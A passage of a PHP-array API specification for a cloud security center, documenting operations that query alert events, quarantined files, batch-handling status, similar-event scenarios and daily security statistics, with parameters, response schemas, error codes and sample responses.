detection'."\n" .'* Precision defense'."\n" .'* Application Whitelist'."\n" .'* Persistence'."\n" .'* Web Application Threat Detection'."\n" .'* Malicious scripts'."\n" .'* Malicious Network Activity'."\n" .'* K8s Abnormal Behavior'."\n" .'* Website backdoor (local engine)'."\n" .'* Exploit'."\n" .'* Image Scan'."\n" .'* Trusted exception'."\n" ."\n" .'For more information about alert types, see [Overview](~~68388~~).'."\n", 'type' => 'string', 'example' => 'Malicious Software', ], 'SecurityEventId' => [ 'description' => 'The ID of the alert event.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '158661', ], 'OccurrenceTime' => [ 'description' => 'The timestamp generated when the alert event was first detected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1648457961000', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'OperationTaskNotExists', 'errorMessage' => 'The specified operation task does not exist', ], [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"9F4217C8-763F-51EF-84D4-5535E072B2D8\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 5,\\n \\"Count\\": 5\\n },\\n \\"SecurityEventsResponse\\": [\\n {\\n \\"LastTime\\": 1648544361480,\\n \\"Uuid\\": \\"qweeqq-13232-daweq-w****\\",\\n \\"EventName\\": \\"Trojan\\",\\n \\"EventType\\": \\"Malicious Software\\",\\n \\"SecurityEventId\\": 158661,\\n \\"OccurrenceTime\\": 1648457961000\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 9F4217C8-763F-51EF-84D4-5535E072B2D8\\n \\n 1\\n 20\\n 5\\n 5\\n \\n \\n 1648544361480\\n qweeqq-13232-daweq-w****\\n 敏感文件篡改\\n 敏感文件篡改\\n 158661\\n 1648457961000\\n \\n","errorExample":""}]', 'title' => 'DescribeSimilarSecurityEvents', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeSuspEventQuaraFiles' => [ 'summary' => 'Queries quarantined files by page.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas731ZAS', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '59.82.XX.XX', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'string', 'required' => false, 'example' => '20', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the quarantined file that you want to query. Valid values:'."\n" ."\n" .'* **quaraFailed**: The file fails to be quarantined.'."\n" .'* **quaraDone**: The file is quarantined.'."\n" .'* **quaraing**: The file is being quarantined.'."\n" .'* **rollbackFailed**: The system fails to cancel quarantining the file.'."\n" .'* **rollbackDone**: The system cancelled quarantining the file.'."\n" .'* **rollbacking**: The system is cancelling quarantining the file.'."\n", 'type' => 'string', 'required' => false, 'example' => 'quaraDone', ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the asset group.'."\n", 'type' => 'string', 'deprecated' => true, 'required' => false, 'example' => '10541428', ], ], [ 'name' => 'QuaraTag', 'in' => 'query', 'schema' => [ 'description' => 'The unique ID of the quarantined file.'."\n", 'type' => 'string', 'required' => false, 'example' => 'a31337789f64d39b2219733ec99f9af7', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'string', 'required' => false, 'example' => '1', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the request source. Set the value to **sas**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], [ 'name' => 'GroupingId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the server group to which the server belongs. The quarantined file is located on the server.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '11472451', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '32A73759-4C0F-4801-BE98-901223ACEE9A', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '38', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], 'QuaraFiles' => [ 'description' => 'An array that consists of the quarantined files.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The quarantined file.'."\n", 'type' => 'object', 'properties' => [ 'Link' => [ 'description' => 'The download link of the quarantined file.'."\n", 'type' => 'string', 'example' => 'https://xxx.xxx/xxx', ], 'Status' => [ 'description' => 'The status of the quarantined file. Valid values:'."\n" ."\n" .'* **quaraFailed**: The file fails to be quarantined.'."\n" .'* **quaraDone**: The file is quarantined.'."\n" .'* **quaraing**: The file is being quarantined.'."\n" .'* **rollbackFailed**: The system fails to cancel quarantining the file.'."\n" .'* **rollbackDone**: The system cancelled quarantining the file.'."\n" .'* **rollbacking**: The system is cancelling quarantining the file.'."\n", 'type' => 'string', 'example' => 'rollbackDone', ], 'EventName' => [ 'description' => 'The name of the event.'."\n", 'type' => 'string', 'example' => 'WEBSHELL', ], 'InternetIp' => [ 'description' => 'The public IP address of the server on which the quarantined file is located.'."\n", 'type' => 'string', 'example' => '47.XX.XX.131', ], 'Ip' => [ 'description' => 'The public IP address of the server on which the quarantined file is located.'."\n", 'type' => 'string', 'example' => '47.XX.XX.131', ], 'Tag' => [ 'description' => 'The unique ID of the event.'."\n", 'type' => 'string', 'example' => '228f890e56eae9eec6a42c7ea801b538', ], 'InstanceId' => [ 'description' => 'The instance ID of the asset.'."\n", 'type' => 'string', 'example' => 'i-2ze9t1qp36n1436m****', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '04a0e735-ad32-4835-b635-0458d77b****', ], 'EventType' => [ 'description' => 'The type of the event.'."\n", 'type' => 'string', 'example' => 'WebshellQuaraEventType', ], 'InstanceName' => [ 'description' => 'The name of the server on which the quarantined file is located.'."\n", 'type' => 'string', 'example' => 'iZwz98dkiw3vbrtqrt5v****', ], 'Path' => [ 'description' => 'The path to the quarantined file on the server.'."\n", 'type' => 'string', 'example' => '/var/www/html/webshell-sample-master/others/defc3e21bab59e2a2ab49f7eda99f65f83d4d349.jpg', ], 'Md5' => [ 'description' => 'The MD5 hash value of the quarantined file.'."\n", 'type' => 'string', 'example' => '5ddebe926acc7ed39a664409bfd0ec10', ], 'Id' => [ 'description' => 'The ID of the quarantined file.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '26918', ], 'ModifyTime' => [ 'description' => 'The time when the quarantined file was last modified.'."\n", 'type' => 'string', 'example' => '2020-06-11 20:37:08', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server on which the quarantined file is located.', 'type' => 'string', 'example' => '172.16.XX.XX', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParameter', 'errorMessage' => 'Illegal parameter, please check the param.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"RequestId\\": \\"32A73759-4C0F-4801-BE98-901223ACEE9A\\",\\n \\"TotalCount\\": 38,\\n \\"Count\\": 7,\\n \\"QuaraFiles\\": [\\n {\\n \\"Link\\": \\"https://xxx.xxx/xxx\\",\\n \\"Status\\": \\"rollbackDone\\",\\n \\"EventName\\": \\"WEBSHELL\\",\\n \\"InternetIp\\": \\"47.XX.XX.131\\",\\n \\"Ip\\": \\"47.XX.XX.131\\",\\n \\"Tag\\": \\"228f890e56eae9eec6a42c7ea801b538\\",\\n \\"InstanceId\\": \\"i-2ze9t1qp36n1436m****\\",\\n \\"Uuid\\": \\"04a0e735-ad32-4835-b635-0458d77b****\\",\\n \\"EventType\\": \\"WebshellQuaraEventType\\",\\n \\"InstanceName\\": \\"iZwz98dkiw3vbrtqrt5v****\\",\\n \\"Path\\": \\"/var/www/html/webshell-sample-master/others/defc3e21bab59e2a2ab49f7eda99f65f83d4d349.jpg\\",\\n \\"Md5\\": \\"5ddebe926acc7ed39a664409bfd0ec10\\",\\n \\"Id\\": 26918,\\n \\"ModifyTime\\": \\"2020-06-11 20:37:08\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeSuspEventQuaraFiles', ], 'DescribeSecurityEventOperationStatus' => [ 'summary' => 'Queries the alert events that are triggered by the same IP address rule or of the same alert type as a specific alert event if you want to handle the specific alert event in batch operation mode.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'TaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the task that handles the alert events.'."\n" ."\n" .'> You must specify at least one of the TaskId and SecurityEventIds parameters.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '12121', ], ], [ 'name' => 'SecurityEventIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the alert events.'."\n" ."\n" .'> You must specify at least one of the TaskId and SecurityEventIds parameters.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The IDs of the alert events.'."\n" ."\n" .'> You must specify at least one of the TaskId and SecurityEventIds parameters.'."\n", 'type' => 'string', 'required' => false, 'example' => '12315', ], 'required' => true, 'example' => '["909361"]', 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '1683940A-E4AE-4473-8C40-F4075434B76B', ], 'SecurityEventOperationStatusResponse' => [ 'description' => 'The information about the task that handles the alert events.'."\n", 'type' => 'object', 'properties' => [ 'TaskStatus' => [ 'description' => 'The status of the task that handles the alert events. Valid values:'."\n" ."\n" .'* **Processing**: The task is running.'."\n" .'* **Success**: The task is successful.'."\n" .'* **Failure**: The task failed.'."\n" .'* **Pending**: The task is pending.'."\n", 'type' => 'string', 'example' => 'Success', ], 'SecurityEventOperationStatuses' => [ 'description' => 'An array consisting of the status of the alert events handled by the task.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The handling status of the alert event. Valid values:'."\n" ."\n" .'* **Processing**: The alert event is being handled.'."\n" .'* **Success**: The alert event is handled.'."\n" .'* **Failed**: The alert event failed to be handled.'."\n", 'type' => 'string', 'example' => 'Success', ], 'SecurityEventId' => [ 'description' => 'The ID of the alert event.'."\n", 'type' => 'string', 'example' => '12321', ], 'ErrorCode' => [ 'description' => 'The code that indicates the handling result of the alert event.'."\n", 'type' => 'string', 'example' => 'ignore.Success', ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'OperationTaskNotExists', 'errorMessage' => 'The specified operation task does not exist', ], [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"1683940A-E4AE-4473-8C40-F4075434B76B\\",\\n \\"SecurityEventOperationStatusResponse\\": {\\n \\"TaskStatus\\": \\"Success\\",\\n \\"SecurityEventOperationStatuses\\": [\\n {\\n \\"Status\\": \\"Success\\",\\n \\"SecurityEventId\\": \\"12321\\",\\n \\"ErrorCode\\": \\"ignore.Success\\"\\n }\\n ]\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 1683940A-E4AE-4473-8C40-F4075434B76B\\n \\n Success\\n \\n Success\\n 12321\\n ignore.Success\\n \\n \\n","errorExample":""}]', 'title' => 'DescribeSecurityEventOperationStatus', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeSimilarEventScenarios' => [ 'summary' => 'Queries the scenarios in which alerts triggered by the same rule or rules of the same type are handled.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'SecurityEventId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the alert event.'."\n" ."\n" .'> You can call the [DescribeSuspEvents](~~DescribeSuspEvents~~) operation to query the ID of the alert event.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '12321', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'FDF7B8D9-8493-4B90-8D13-E0C1FFCE5F97', ], 'Scenarios' => [ 'description' => 'The scenarios in which alerts triggered by the same rule or rules of the same type are handled.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The scenario in which alerts triggered by the same rule or rules of the same type are handled.'."\n", 'type' => 'object', 'properties' => [ 'Code' => [ 'description' => 'The code of the scenario. Valid values:'."\n" ."\n" .'* **default**: the same alert type'."\n" .'* **same_file_content**: the same file content rule.'."\n" .'* **same_ip**: the same IP address rule.'."\n" .'* **same_url**: the same URL rule.'."\n", 'type' => 'string', 'example' => 'same_url', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'SecurityEventNotExists', 'errorMessage' => 'Security event not exists.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"FDF7B8D9-8493-4B90-8D13-E0C1FFCE5F97\\",\\n \\"Scenarios\\": [\\n {\\n \\"Code\\": \\"same_url\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n FDF7B8D9-8493-4B90-8D13-E0C1FFCE5F97\\n \\n same_url\\n \\n","errorExample":""}]', 'title' => 'DescribeSimilarEventScenarios', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeSecurityStatInfo' => [ 'summary' => 'Queries the statistics of each security check item and the daily statistics in the trend chart based on each security check item.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the account that is added to the resource directory as a member for multi-account control. You can use this parameter to query the security status of the account.'."\n", 'type' => 'string', 'required' => false, 'example' => '12345', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'A3E61730-85E2-4789-8017-B9B1B70F0568', ], 'SecurityEvent' => [ 'description' => 'The detailed statistics of unhandled alerts.'."\n", 'type' => 'object', 'properties' => [ 'SuspiciousCount' => [ 'description' => 'The number of **suspicious** alerts on the current day.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '148', ], 'SeriousCount' => [ 'description' => 'The number of **serious** alerts on the current day.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '404', ], 'RemindCount' => [ 'description' => 'The number of **remind** alerts on the current day.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'TotalCount' => [ 'description' => 'The total number of unhandled alerts on the current day.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '552', ], 'ValueArray' => [ 'description' => 'The numbers of unhandled alerts at all points in time.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The number of unhandled alerts at each point in time.'."\n", 'type' => 'string', 'example' => '444', ], ], 'TimeArray' => [ 'description' => 'The time periods during which data of the same alert is collected.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The time period during which data of the same alert is collected.'."\n", 'type' => 'string', 'example' => '1641484800000', ], ], 'RemindList' => [ 'description' => 'The numbers of remind alerts at all points in time.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The number of **remind** alerts at each point in time.'."\n", 'type' => 'string', 'example' => '5,', ], ], 'LevelsOn' => [ 'description' => 'The risk levels of unhandled alerts.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk level of the unhandled alert. Valid values:'."\n" ."\n" .'* **remind**'."\n" .'* **suspicious**'."\n" .'* **serious**'."\n", 'type' => 'string', 'example' => 'remind', ], ], 'DateArray' => [ 'description' => 'The points in time when data of unhandled alerts is collected in the trend chart.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The point in time when data of unhandled alerts is collected in the trend chart.'."\n", 'type' => 'string', 'example' => '2020-01-08', ], ], 'SuspiciousList' => [ 'description' => 'The numbers of suspicious alerts at all points in time.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The number of **suspicious** alerts at each point in time.'."\n", 'type' => 'string', 'example' => '111,', ], ], 'SeriousList' => [ 'description' => 'The numbers of serious alerts at all points in time.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The number of **serious** alerts at each point in time.'."\n", 'type' => 'string', 'example' => '111', ], ], ], ], 'AttackEvent' => [ 'description' => 'The detailed statistics of attacks.'."\n", 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of attacks on the current day.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1096', ], 'DateArray' => [ 'description' => 'The points in time when the number of attacks is collected in the trend chart.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The point in time when the number of attacks is collected in the trend chart.'."\n", 'type' => 'string', 'example' => '2020-01-04', ], ], 'ValueArray' => [ 'description' => 'The numbers of attacks at all points in time.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The number of attacks at each point in time.'."\n", 'type' => 'string', 'example' => '2620', ], ], ], ], 'HealthCheck' => [ 'description' => 'The detailed statistics of baseline risk items.'."\n", 'type' => 'object', 'properties' => [ 'HighCount' => [ 'description' => 'The number of baseline risk items that have the high-risk level on the current day.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'LowCount' => [ 'description' => 'The number of baseline risk items that have the low-risk level on the current day.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'TotalCount' => [ 'description' => 'The total number of baseline risk items on the current day.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '32', ], 'MediumCount' => [ 'description' => 'The number of baseline risk items that have the medium-risk level on the current day.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '21', ], 'ValueArray' => [ 'description' => 'The total number of baseline risk items at all points in time.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The total number of baseline risk items at each point in time.'."\n", 'type' => 'string', 'example' => '31', ], ], 'TimeArray' => [ 'description' => 'The time periods during which data of baseline risk items is collected.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The time period during which data of baseline risk items is collected.'."\n", 'type' => 'string', 'example' => '1641484800000', ], ], 'LevelsOn' => [ 'description' => 'The risk levels of baseline risk items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk level of the baseline risk item. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'high', ], ], 'LowList' => [ 'description' => 'The numbers of baseline risk items that have the low-risk level at all points in time.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The number of baseline risk items that have the low-risk level at each point in time.'."\n", 'type' => 'string', 'example' => '0', ], ], 'MediumList' => [ 'description' => 'The numbers of baseline risk items that have the medium-risk level at all points in time.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The number of baseline risk items that have the medium-risk level at each point in time.'."\n", 'type' => 'string', 'example' => '0', ], ], 'DateArray' => [ 'description' => 'The points in time when data of baseline risk items is collected in the trend chart.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The point in time when data of baseline risk items is collected in the trend chart.'."\n", 'type' => 'string', 'example' => '2020-01-04', ], ], 'HighList' => [ 'description' => 'The numbers of baseline risk items that have the high-risk level at all points in time.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The number of baseline risk items that have the high-risk level at each point in time.'."\n", 'type' => 'string', 'example' => '11', ], ], ], ], 'Vulnerability' => [ 'description' => 'The detailed statistics of unfixed vulnerabilities.'."\n", 'type' => 'object', 'properties' => [ 'NntfCount' => [ 'description' => 'The number of **low-risk** unfixed vulnerabilities on the current day.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'LaterCount' => [ 'description' => 'The number of **medium-risk** unfixed vulnerabilities on the current day.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '275', ], 'TotalCount' => [ 'description' => 'The total number of unfixed vulnerabilities on the current day.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '384', ], 'AsapCount' => [ 'description' => 'The number of **high-risk** unfixed vulnerabilities on the current day.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '109', ], 'NntfList' => [ 'description' => 'The numbers of low-risk unfixed vulnerabilities at all points in time.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The number of **low-risk** unfixed vulnerabilities at each point in time.'."\n", 'type' => 'string', 'example' => '0', ], ], 'AsapList' => [ 'description' => 'The numbers of high-risk unfixed vulnerabilities at all points in time.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The number of **high-risk** unfixed vulnerabilities at each point in time.'."\n", 'type' => 'string', 'example' => '60', ], ], 'ValueArray' => [ 'description' => 'The numbers of unfixed vulnerabilities at all points in time.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The number of unfixed vulnerabilities at each point in time.'."\n", 'type' => 'string', 'example' => '384', ], ], 'TimeArray' => [ 'description' => 'The time periods during which data of unfixed vulnerabilities is collected.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The time period during which data of unfixed vulnerabilities is collected.'."\n", 'type' => 'string', 'example' => '1641484800000', ], ], 'LevelsOn' => [ 'description' => 'The risk levels of unfixed vulnerabilities.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk level of the unfixed vulnerability. Valid values:'."\n" ."\n" .'* **asap**: high'."\n" .'* **later**: medium'."\n" .'* **nntf**: low', 'type' => 'string', 'example' => 'later', ], ], 'LaterList' => [ 'description' => 'The numbers of medium-risk unfixed vulnerabilities at all points in time.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The number of **medium-risk** unfixed vulnerabilities at each point in time.'."\n", 'type' => 'string', 'example' => '275', ], ], 'DateArray' => [ 'description' => 'The points in time when data of unfixed vulnerabilities is collected in the trend chart.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The point in time when data of unfixed vulnerabilities is collected in the trend chart.'."\n", 'type' => 'string', 'example' => '2020-01-04', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"Success\\": true,\\n \\"RequestId\\": \\"A3E61730-85E2-4789-8017-B9B1B70F0568\\",\\n \\"SecurityEvent\\": {\\n \\"SuspiciousCount\\": 148,\\n \\"SeriousCount\\": 404,\\n \\"RemindCount\\": 0,\\n \\"TotalCount\\": 552,\\n \\"ValueArray\\": [\\n \\"444\\"\\n ],\\n \\"TimeArray\\": [\\n \\"1641484800000\\"\\n ],\\n \\"RemindList\\": [\\n \\"5,\\"\\n ],\\n \\"LevelsOn\\": [\\n \\"remind\\"\\n ],\\n \\"DateArray\\": [\\n \\"2020-01-08\\"\\n ],\\n \\"SuspiciousList\\": [\\n \\"111,\\"\\n ],\\n \\"SeriousList\\": [\\n \\"111\\"\\n ]\\n },\\n \\"AttackEvent\\": {\\n \\"TotalCount\\": 1096,\\n \\"DateArray\\": [\\n \\"2020-01-04\\"\\n ],\\n \\"ValueArray\\": [\\n \\"2620\\"\\n ]\\n },\\n \\"HealthCheck\\": {\\n \\"HighCount\\": 10,\\n \\"LowCount\\": 0,\\n \\"TotalCount\\": 32,\\n \\"MediumCount\\": 21,\\n \\"ValueArray\\": [\\n \\"31\\"\\n ],\\n \\"TimeArray\\": [\\n \\"1641484800000\\"\\n ],\\n \\"LevelsOn\\": [\\n \\"high\\"\\n ],\\n \\"LowList\\": [\\n \\"0\\"\\n ],\\n \\"MediumList\\": [\\n \\"0\\"\\n ],\\n \\"DateArray\\": [\\n \\"2020-01-04\\"\\n ],\\n \\"HighList\\": [\\n \\"11\\"\\n ]\\n },\\n \\"Vulnerability\\": {\\n \\"NntfCount\\": 0,\\n \\"LaterCount\\": 275,\\n \\"TotalCount\\": 384,\\n \\"AsapCount\\": 109,\\n \\"NntfList\\": [\\n \\"0\\"\\n ],\\n \\"AsapList\\": [\\n \\"60\\"\\n ],\\n \\"ValueArray\\": [\\n \\"384\\"\\n ],\\n \\"TimeArray\\": [\\n \\"1641484800000\\"\\n ],\\n \\"LevelsOn\\": [\\n \\"later\\"\\n ],\\n \\"LaterList\\": [\\n \\"275\\"\\n ],\\n \\"DateArray\\": [\\n \\"2020-01-04\\"\\n ]\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n \\n 124\\n 133\\n 111\\n 123\\n 135\\n 145\\n 148\\n remind\\n suspicious\\n serious\\n 552\\n 148\\n 315\\n 350\\n 336\\n 378\\n 384\\n 398\\n 404\\n 0\\n 444\\n 488\\n 447\\n 501\\n 519\\n 543\\n 552\\n 404\\n 5\\n 5\\n 0\\n 0\\n 0\\n 0\\n 0\\n 2020-01-04\\n 2020-01-05\\n 2020-01-06\\n 2020-01-07\\n 2020-01-08\\n 2020-01-09\\n 2020-01-10\\n \\n \\n high\\n low\\n medium\\n 31\\n 11\\n 11\\n 11\\n 10\\n 10\\n 10\\n 10\\n 10\\n 0\\n 0\\n 0\\n 0\\n 0\\n 0\\n 0\\n 21\\n 21\\n 21\\n 21\\n 21\\n 21\\n 21\\n 0\\n 32\\n 32\\n 32\\n 31\\n 31\\n 31\\n 31\\n 21\\n 2020-01-04\\n 2020-01-05\\n 2020-01-06\\n 2020-01-07\\n 2020-01-08\\n 2020-01-09\\n 2020-01-10\\n \\n \\n asap\\n later\\n 384\\n 60\\n 65\\n 63\\n 97\\n 103\\n 109\\n 109\\n 0\\n 0\\n 0\\n 0\\n 0\\n 275\\n 275\\n 275\\n 109\\n 0\\n 0\\n 0\\n 0\\n 0\\n 0\\n 0\\n 60\\n 65\\n 63\\n 97\\n 103\\n 384\\n 384\\n 0\\n 2020-01-04\\n 2020-01-05\\n 2020-01-06\\n 2020-01-07\\n 2020-01-08\\n 2020-01-09\\n 2020-01-10\\n \\n \\n 1096\\n 2620\\n 10405\\n 2377\\n 2411\\n 11146\\n 2057\\n 1096\\n 2020-01-04\\n 2020-01-05\\n 2020-01-06\\n 2020-01-07\\n 2020-01-08\\n 2020-01-09\\n 2020-01-10\\n \\n 9C92EF15-B9F7-4DCF-BCE3-5B2B85927744\\n true\\n","errorExample":""}]', 'title' => 'DescribeSecurityStatInfo', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 